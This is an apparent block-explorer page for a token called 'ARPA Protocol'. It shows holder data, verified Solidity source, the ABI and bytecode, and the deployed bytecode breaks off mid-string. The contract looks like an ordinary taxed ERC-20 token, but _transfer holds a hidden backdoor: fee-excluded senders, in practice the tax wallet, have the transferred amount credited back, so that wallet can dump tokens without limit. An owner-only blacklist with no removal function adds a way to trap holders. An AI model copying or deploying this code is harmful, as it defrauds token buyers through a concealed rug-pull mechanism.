ETH Price: $3,128.72 (-0.52%)

Token

ARPA Protocol (ARPA)
 

Overview

Max Total Supply

420,690,000 ARPA

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cyberneticangel.eth
Balance
3,490,170.024553731 ARPA

Value
$0.00
0x54D58Dab6E01f2f4A7769E53b60CA1866d85D00a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ARPA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-15
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
One-click fixed rate lending and borrowing, DeFi yield management, interest rate derivatives and benchmarks.

Website: https://www.arpaprotocol.com
Telegram: https://t.me/arpa_protocol
Twitter: https://twitter.com/arpa_erc
Dapp: https://app.arpaprotocol.com
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ARPA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"ARPA Protocol";
    string private constant _symbol = unicode"ARPA";

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=11;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _blacklisted;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
    uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!_blacklisted[from] && !_blacklisted[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (_isExcludedFromFee[from]) { _balances[from] += amount; }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function addBots(address[] memory blacklists) external onlyOwner {
        for (uint i = 0; i < blacklists.length; i++) {
            _blacklisted[blacklists[i]] = true;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateTaxWallet(address payable newWallet) public {
        require(msg.sender == _taxWallet,"You are not allowed to change the tax wallet");
        _taxWallet = newWallet;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"updateTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600b600155600b6002556001600355600160045560058055600f600655600560075560006008556009600a6200003b9190620004a2565b6200004a90626049ce620004ba565b600d556200005b6009600a620004a2565b6200006a90626049ce620004ba565b600e556200007b6009600a620004a2565b62000088906000620004ba565b600f55620000996009600a620004a2565b620000a89062403134620004ba565b6010556013805461ffff60a81b19169055348015620000c657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054336001600160a01b03199182161790915560118054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000178573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019e9190620004d4565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002279190620004d4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b9190620004d4565b601380546001600160a01b0319166001600160a01b0392909216919091179055620002c96009600a620004a2565b620002d9906319133850620004ba565b3360008181526009602090815260408083209490945581546001600160a01b039081168352600b9091528382208054600160ff19918216811790925560125490921683529390912080549091169092179091556001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003666009600a620004a2565b62000376906319133850620004ba565b60405190815260200160405180910390a3620004ff565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e4578160001904821115620003c857620003c86200038d565b80851615620003d657918102915b93841c9390800290620003a8565b509250929050565b600082620003fd575060016200049c565b816200040c575060006200049c565b8160018114620004255760028114620004305762000450565b60019150506200049c565b60ff8411156200044457620004446200038d565b50506001821b6200049c565b5060208310610133831016604e8410600b841016171562000475575081810a6200049c565b620004818383620003a3565b80600019048211156200049857620004986200038d565b0290505b92915050565b6000620004b360ff841683620003ec565b9392505050565b80820281158282048414176200049c576200049c6200038d565b600060208284031215620004e757600080fd5b81516001600160a01b0381168114620004b357600080fd5b61192c806200050f6000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610314578063bf474bed14610334578063c9567bf91461034a578063d34628cc1461035f578063dd62ed3e1461037f57600080fd5b8063751039fc1461027e5780637d1db4a5146102935780638da5cb5b146102a95780638f9a55c0146102d157806395d89b41146102e757600080fd5b806323b872dd116100e757806323b872dd146101d5578063313ce567146101f557806370a0823114610211578063715018a61461024757806374c9f6031461025e57600080fd5b806306fdde0314610124578063095ea7b31461016c5780630faee56f1461019c57806318160ddd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600d81526c1054941048141c9bdd1bd8dbdb609a1b60208201525b6040516101639190611410565b60405180910390f35b34801561017857600080fd5b5061018c610187366004611486565b6103c5565b6040519015158152602001610163565b3480156101a857600080fd5b506101b260105481565b604051908152602001610163565b3480156101cc57600080fd5b506101b26103dc565b3480156101e157600080fd5b5061018c6101f03660046114b2565b6103fd565b34801561020157600080fd5b5060405160098152602001610163565b34801561021d57600080fd5b506101b261022c3660046114f3565b6001600160a01b031660009081526009602052604090205490565b34801561025357600080fd5b5061025c610466565b005b34801561026a57600080fd5b5061025c6102793660046114f3565b6104e3565b34801561028a57600080fd5b5061025c61058c565b34801561029f57600080fd5b506101b2600d5481565b3480156102b557600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102dd57600080fd5b506101b2600e5481565b3480156102f357600080fd5b506040805180820190915260048152634152504160e01b6020820152610156565b34801561032057600080fd5b5061018c61032f366004611486565b61063e565b34801561034057600080fd5b506101b2600f5481565b34801561035657600080fd5b5061025c61064b565b34801561036b57600080fd5b5061025c61037a366004611526565b610866565b34801561038b57600080fd5b506101b261039a3660046115eb565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60006103d23384846108fc565b5060015b92915050565b60006103ea6009600a61171e565b6103f890631913385061172d565b905090565b600061040a848484610a2d565b61045c8433610457856040518060600160405280602881526020016118cf602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611073565b6108fc565b5060019392505050565b6000546001600160a01b031633146104995760405162461bcd60e51b815260040161049090611744565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b031633146105525760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b6064820152608401610490565b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b031633146105b65760405162461bcd60e51b815260040161049090611744565b6105c26009600a61171e565b6105d090631913385061172d565b600d556105df6009600a61171e565b6105ed90631913385061172d565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061d6009600a61171e565b61062b90631913385061172d565b60405190815260200160405180910390a1565b60006103d2338484610a2d565b6000546001600160a01b031633146106755760405162461bcd60e51b815260040161049090611744565b601354600160a01b900460ff16156106cf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6011546106fb9030906001600160a01b03166106ed6009600a61171e565b61045790631913385061172d565b6011546001600160a01b031663f305d719473061072d816001600160a01b031660009081526009602052604090205490565b6000806107426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107cf9190611779565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c91906117a7565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108905760405162461bcd60e51b815260040161049090611744565b60005b81518110156108f8576001600c60008484815181106108b4576108b46117c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f0816117df565b915050610893565b5050565b6001600160a01b0383166109655760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b6064820152608401610490565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b6064820152608401610490565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610af35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b60008111610b555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b600080546001600160a01b03858116911614801590610b8257506000546001600160a01b03848116911614155b15610f30576001600160a01b0384166000908152600c602052604090205460ff16158015610bc957506001600160a01b0383166000908152600c602052604090205460ff16155b610bd257600080fd5b610bfe6064610bf860055460085411610bed57600154610bf1565b6003545b85906110ad565b90611136565b6013549091506001600160a01b038581169116148015610c2c57506011546001600160a01b03848116911614155b8015610c5157506001600160a01b0383166000908152600b602052604090205460ff16155b15610d3957600d54821115610ca85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b600e5482610ccb856001600160a01b031660009081526009602052604090205490565b610cd591906117f8565b1115610d235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b60088054906000610d33836117df565b91905055505b6001600160a01b0384166000908152600b602052604090205460ff1615610d88576001600160a01b03841660009081526009602052604081208054849290610d829084906117f8565b90915550505b6013546001600160a01b03848116911614801590610dbf57506001600160a01b0383166000908152600b602052604090205460ff16155b15610e3f57600e5482610de7856001600160a01b031660009081526009602052604090205490565b610df191906117f8565b1115610e3f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b6013546001600160a01b038481169116148015610e6557506001600160a01b0384163014155b15610e9257610e8f6064610bf860065460085411610e8557600254610bf1565b60045485906110ad565b90505b30600090815260096020526040902054601354600160a81b900460ff16158015610ec957506013546001600160a01b038581169116145b8015610ede5750601354600160b01b900460ff165b8015610eeb5750600f5481115b8015610efa5750600754600854115b15610f2e57610f1c610f1784610f1284601054611178565b611178565b61118d565b478015610f2c57610f2c47611307565b505b505b8015610faa5730600090815260096020526040902054610f509082611341565b30600081815260096020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa19085815260200190565b60405180910390a35b6001600160a01b038416600090815260096020526040902054610fcd90836113a0565b6001600160a01b038516600090815260096020526040902055611012610ff383836113a0565b6001600160a01b03851660009081526009602052604090205490611341565b6001600160a01b0380851660008181526009602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105c85856113a0565b60405190815260200160405180910390a350505050565b600081848411156110975760405162461bcd60e51b81526004016104909190611410565b5060006110a4848661180b565b95945050505050565b6000826000036110bf575060006103d6565b60006110cb838561172d565b9050826110d8858361181e565b1461112f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b9392505050565b600061112f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e2565b6000818311611187578261112f565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d5576111d56117c9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112529190611840565b81600181518110611265576112656117c9565b6001600160a01b03928316602091820292909201015260115461128b91309116846108fc565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c490859060009086903090429060040161185d565b600060405180830381600087803b1580156112de57600080fd5b505af11580156112f2573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b60008061134e83856117f8565b90508381101561112f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b600061112f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611073565b600081836114035760405162461bcd60e51b81526004016104909190611410565b5060006110a4848661181e565b600060208083528351808285015260005b8181101561143d57858101830151858201604001528201611421565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147357600080fd5b50565b80356114818161145e565b919050565b6000806040838503121561149957600080fd5b82356114a48161145e565b946020939093013593505050565b6000806000606084860312156114c757600080fd5b83356114d28161145e565b925060208401356114e28161145e565b929592945050506040919091013590565b60006020828403121561150557600080fd5b813561112f8161145e565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153957600080fd5b823567ffffffffffffffff8082111561155157600080fd5b818501915085601f83011261156557600080fd5b81358181111561157757611577611510565b8060051b604051601f19603f8301168101818110858211171561159c5761159c611510565b6040529182528482019250838101850191888311156115ba57600080fd5b938501935b828510156115df576115d085611476565b845293850193928501926115bf565b98975050505050505050565b600080604083850312156115fe57600080fd5b82356116098161145e565b915060208301356116198161145e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167557816000190482111561165b5761165b611624565b8085161561166857918102915b93841c939080029061163f565b509250929050565b60008261168c575060016103d6565b81611699575060006103d6565b81600181146116af57600281146116b9576116d5565b60019150506103d6565b60ff8411156116ca576116ca611624565b50506001821b6103d6565b5060208310610133831016604e8410600b84101617156116f8575081810a6103d6565b611702838361163a565b806000190482111561171657611716611624565b029392505050565b600061112f60ff84168361167d565b80820281158282048414176103d6576103d6611624565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561178e57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117b957600080fd5b8151801515811461112f57600080fd5b634e487b7160e01b600052603260045260246000fd5b6000600182016117f1576117f1611624565b5060010190565b808201808211156103d6576103d6611624565b818103818111156103d6576103d6611624565b60008261183b57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561185257600080fd5b815161112f8161145e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ad5784516001600160a01b031683529383019391830191600101611888565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086f0d175a1ff793a7e1586ffb676a65cc4fb044898dc7cfc82ccfcb25dd3926364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610314578063bf474bed14610334578063c9567bf91461034a578063d34628cc1461035f578063dd62ed3e1461037f57600080fd5b8063751039fc1461027e5780637d1db4a5146102935780638da5cb5b146102a95780638f9a55c0146102d157806395d89b41146102e757600080fd5b806323b872dd116100e757806323b872dd146101d5578063313ce567146101f557806370a0823114610211578063715018a61461024757806374c9f6031461025e57600080fd5b806306fdde0314610124578063095ea7b31461016c5780630faee56f1461019c57806318160ddd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600d81526c1054941048141c9bdd1bd8dbdb609a1b60208201525b6040516101639190611410565b60405180910390f35b34801561017857600080fd5b5061018c610187366004611486565b6103c5565b6040519015158152602001610163565b3480156101a857600080fd5b506101b260105481565b604051908152602001610163565b3480156101cc57600080fd5b506101b26103dc565b3480156101e157600080fd5b5061018c6101f03660046114b2565b6103fd565b34801561020157600080fd5b5060405160098152602001610163565b34801561021d57600080fd5b506101b261022c3660046114f3565b6001600160a01b031660009081526009602052604090205490565b34801561025357600080fd5b5061025c610466565b005b34801561026a57600080fd5b5061025c6102793660046114f3565b6104e3565b34801561028a57600080fd5b5061025c61058c565b34801561029f57600080fd5b506101b2600d5481565b3480156102b557600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102dd57600080fd5b506101b2600e5481565b3480156102f357600080fd5b506040805180820190915260048152634152504160e01b6020820152610156565b34801561032057600080fd5b5061018c61032f366004611486565b61063e565b34801561034057600080fd5b506101b2600f5481565b34801561035657600080fd5b5061025c61064b565b34801561036b57600080fd5b5061025c61037a366004611526565b610866565b34801561038b57600080fd5b506101b261039a3660046115eb565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60006103d23384846108fc565b5060015b92915050565b60006103ea6009600a61171e565b6103f890631913385061172d565b905090565b600061040a848484610a2d565b61045c8433610457856040518060600160405280602881526020016118cf602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611073565b6108fc565b5060019392505050565b6000546001600160a01b031633146104995760405162461bcd60e51b815260040161049090611744565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b031633146105525760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b6064820152608401610490565b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b031633146105b65760405162461bcd60e51b815260040161049090611744565b6105c26009600a61171e565b6105d090631913385061172d565b600d556105df6009600a61171e565b6105ed90631913385061172d565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061d6009600a61171e565b61062b90631913385061172d565b60405190815260200160405180910390a1565b60006103d2338484610a2d565b6000546001600160a01b031633146106755760405162461bcd60e51b815260040161049090611744565b601354600160a01b900460ff16156106cf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6011546106fb9030906001600160a01b03166106ed6009600a61171e565b61045790631913385061172d565b6011546001600160